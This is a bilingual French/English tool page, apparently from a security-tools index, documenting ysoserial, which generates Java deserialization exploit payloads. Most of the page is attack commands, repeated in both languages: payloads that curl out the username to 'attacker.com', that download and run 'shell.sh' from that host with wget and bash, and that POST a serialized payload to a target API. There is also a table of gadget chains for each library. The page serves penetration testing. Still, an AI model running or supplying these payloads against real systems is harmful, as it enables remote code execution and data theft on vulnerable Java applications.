retour aux outils back to tools Ducklings

ysoserial

Génère des payloads d'exploitation de désérialisation Java pour diverses chaînes de gadgets. Indispensable pour tester les applications Java. Generates Java deserialization exploit payloads for various gadget chains. Essential for testing Java applications.

↗ https://github.com/frohoff/ysoserial

Overview

ysoserial generates serialized Java objects that exploit gadget chains in common Java libraries. When a vulnerable application deserializes attacker-controlled data, the payload executes arbitrary commands.

Common Usage

List available gadget chains

java -jar ysoserial.jar

Generate a payload

java -jar ysoserial.jar <GadgetChain> '<command>'

# Common chains
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com'
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s'

Generate base64-encoded payload (for HTTP injection)

java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

# Generate and send via curl
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Choosing the Right Gadget Chain

The gadget chain depends on which libraries are on the target’s classpath:

Chain	Library	Notes
CommonsCollections1-7	Apache Commons Collections ≤3.2.1 / 4.0	Most common
Spring1, Spring2	Spring Framework
Groovy1	Apache Groovy
JBossInterceptors1	JBoss
URLDNS	Java built-in	Only DNS — good for detection

Use URLDNS first to confirm blind deserialization (DNS callback, no library dependency).

Help / Man page

java -jar ysoserial.jar [payload-type] '[command]'

USAGE:
  List gadgets:     java -jar ysoserial.jar
  Generate:         java -jar ysoserial.jar <GADGET> '<cmd>'

GADGET CHAINS (selection):
  BeanShell1           BeanShell
  C3P0                 c3p0
  CommonsCollections1  Commons Collections <= 3.2.1
  CommonsCollections2  Commons Collections 4.0
  CommonsCollections3  Commons Collections <= 3.2.1
  CommonsCollections4  Commons Collections 4.0
  CommonsCollections5  Commons Collections (any, Apache)
  CommonsCollections6  Commons Collections (no Invoke)
  Groovy1              Groovy <= 2.3.9
  Hibernate1           Hibernate
  JBossInterceptors1   JBoss
  JRMPClient           Remote class load trigger
  Jdk7u21              JDK 7u21 native gadget
  Spring1              Spring Core
  Spring2              Spring Core (AOP)
  URLDNS               DNS only (no class dependency)

OUTPUT:
  Writes raw serialized bytes to stdout
  Pipe to base64 or file as needed

Vue d’ensemble

ysoserial génère des objets Java sérialisés qui exploitent des chaînes de gadgets dans des bibliothèques Java courantes. Quand une application vulnérable désérialise des données contrôlées par l’attaquant, le payload exécute des commandes arbitraires.

Utilisation courante

# Lister les chaînes de gadgets disponibles
java -jar ysoserial.jar

# Générer un payload
java -jar ysoserial.jar <GadgetChain> '<command>'

# Chaînes courantes
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com'
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'
java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s'

# Générer un payload encodé en base64 (pour injection HTTP)
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0

# Générer et envoyer via curl
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Choisir la bonne chaîne de gadgets

La chaîne de gadgets dépend des bibliothèques présentes dans le classpath de la cible :

Chaîne	Bibliothèque	Notes
CommonsCollections1-7	Apache Commons Collections ≤3.2.1 / 4.0	La plus courante
Spring1, Spring2	Spring Framework
Groovy1	Apache Groovy
JBossInterceptors1	JBoss
URLDNS	Java natif	DNS uniquement : bon pour la détection

Utiliser URLDNS en premier pour confirmer la désérialisation aveugle (callback DNS, sans dépendance de bibliothèque).

Aide / Page de manuel

java -jar ysoserial.jar [payload-type] '[command]'

USAGE:
  List gadgets:     java -jar ysoserial.jar
  Generate:         java -jar ysoserial.jar <GADGET> '<cmd>'

GADGET CHAINS (selection):
  BeanShell1           BeanShell
  C3P0                 c3p0
  CommonsCollections1  Commons Collections <= 3.2.1
  CommonsCollections2  Commons Collections 4.0
  CommonsCollections3  Commons Collections <= 3.2.1
  CommonsCollections4  Commons Collections 4.0
  CommonsCollections5  Commons Collections (any, Apache)
  CommonsCollections6  Commons Collections (no Invoke)
  Groovy1              Groovy <= 2.3.9
  Hibernate1           Hibernate
  JBossInterceptors1   JBoss
  JRMPClient           Remote class load trigger
  Jdk7u21              JDK 7u21 native gadget
  Spring1              Spring Core
  Spring2              Spring Core (AOP)
  URLDNS               DNS only (no class dependency)

OUTPUT:
  Writes raw serialized bytes to stdout
  Pipe to base64 or file as needed